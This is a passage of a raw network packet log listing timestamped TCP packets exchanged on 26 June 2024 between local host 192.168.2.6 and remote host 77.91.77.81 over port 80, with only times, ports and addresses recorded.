Jun 26, 2024 08:16:43.446727037 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446762085 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.446772099 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.446810961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447078943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447113037 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447165966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447199106 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447221994 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447252035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447256088 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447305918 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447339058 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447387934 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447390079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447426081 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447458982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447474003 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447494030 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447526932 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447537899 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447561979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447596073 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447609901 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447630882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447665930 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.447676897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447738886 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.447987080 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448040009 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448040962 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.448074102 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448118925 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.448126078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448159933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448189974 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.448194981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448221922 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.448230028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448237896 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.448263884 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.448311090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460287094 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460334063 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460370064 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460375071 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460396051 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460403919 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460432053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460438967 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460474014 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460488081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460529089 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.460534096 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460567951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.460619926 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497287035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497348070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497370958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497401953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497437954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497457981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497498035 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497507095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497508049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497550011 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497562885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497597933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497649908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497665882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497711897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497754097 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497771025 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497812986 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497818947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497827053 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497862101 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497875929 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.497941017 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497976065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.497987986 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498028040 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498065948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498076916 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498140097 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498177052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498210907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498234987 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498245001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498280048 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498291016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498313904 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498349905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498363018 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498383045 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498416901 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498439074 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.498451948 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.498497009 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531295061 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531349897 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531379938 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531404972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531455994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531467915 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531491041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531514883 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531526089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531543016 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531559944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531610966 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531666040 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531666994 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531699896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531734943 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531743050 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531768084 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531816959 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.531820059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531853914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531894922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.531950951 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532016993 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532073975 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532083035 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532109022 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532109976 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532139063 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532144070 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532162905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532192945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532224894 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532257080 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532263041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532286882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532318115 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532320976 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532331944 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532382965 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532417059 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532434940 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532450914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532463074 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532510042 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532526970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532578945 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532593012 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532630920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532666922 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532679081 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532711029 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532720089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532757044 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532790899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532810926 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532825947 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532839060 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532860041 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532893896 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532927036 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532953978 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532962084 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.532970905 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.532994032 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533016920 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533030033 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533045053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533077955 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533124924 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533127069 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533163071 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533210039 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533337116 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533371925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533406973 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533407927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533437967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533442974 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533447981 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533495903 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533529997 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533540010 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533581018 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533617020 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533631086 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533653021 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533684969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533706903 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533732891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533737898 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533771992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533806086 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533838987 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533863068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533886909 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.533895969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.533991098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.534024954 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.534034014 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.534746885 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538258076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538310051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538326979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538346052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538358927 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538379908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538414001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538429022 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538449049 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538463116 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538484097 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538495064 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538516998 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538531065 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538552999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538585901 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538606882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538619995 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538635969 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538654089 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538671017 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538690090 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538692951 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.538724899 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.538774967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.548405886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548440933 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548470020 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.548475981 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548505068 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.548549891 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548605919 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.548608065 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548641920 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.548670053 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.548683882 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.565803051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.565819979 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.565835953 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.565851927 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.565876961 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.565907955 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584228992 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584269047 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584322929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584341049 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584357977 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584378958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584393024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584405899 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584440947 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584446907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584497929 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584522963 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584544897 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584552050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584585905 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584595919 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584619999 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584712982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584743023 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584748983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584767103 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584784031 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584796906 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584829092 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584835052 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584872961 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584888935 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584923983 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584958076 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.584975958 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.584992886 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585005045 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585030079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585062027 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585095882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585112095 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585129976 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585145950 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585165024 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585179090 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585199118 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585221052 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585232973 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585267067 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585278988 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585302114 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585335970 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.585357904 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.585412979 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.618726969 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.618817091 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619095087 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619151115 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619185925 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619214058 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619220972 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619246960 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619265079 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619278908 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619299889 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619333982 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619355917 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619379997 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619385004 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619419098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619458914 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619507074 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619508028 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619544029 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619582891 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619595051 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619647026 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619663954 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619680882 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619693995 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619716883 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619770050 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619805098 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619817972 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619848967 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.619875908 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619910002 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619942904 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.619999886 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.620001078 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.620050907 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.620085001 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.620105028 CEST	49731	80	192.168.2.6	77.91.77.81
Jun 26, 2024 08:16:43.620119095 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.620152950 CEST	80	49731	77.91.77.81	192.168.2.6
Jun 26, 2024 08:16:43.620170116 CEST	49731	80	192.168.2.6	77.91.77.81
